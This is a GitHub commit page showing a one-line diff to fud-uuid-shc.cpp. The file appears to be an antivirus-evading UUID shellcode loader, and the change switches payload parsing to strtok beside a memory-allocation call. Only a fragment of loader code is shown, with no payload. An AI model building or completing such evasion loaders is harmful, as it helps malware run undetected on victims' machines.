Skip to content

Commit a338cea

Browse files
author
winterrdog
committed
used strtok to parse the payload
1 parent 7a18ac9 commit a338cea

File tree

1 file changed

+1
-1
lines changed

1 file changed

+1
-1
lines changed

fud-uuid-shc.cpp

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -184,7 +184,7 @@ int main(int argc, char *argv[])
184184
PVOID mem = pMVA(0, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
185185
DWORD_PTR hptr = (DWORD_PTR)mem;
186186

187-
for (int i{0}; i < loops; i++)
187+
for (temp = strtok((char *)payload, "\n"); temp;)
188188
{
189189
#if DEBUG
190190
printf("Sub-string: %s\n\n", chars_array);

0 commit comments

Comments
 (0)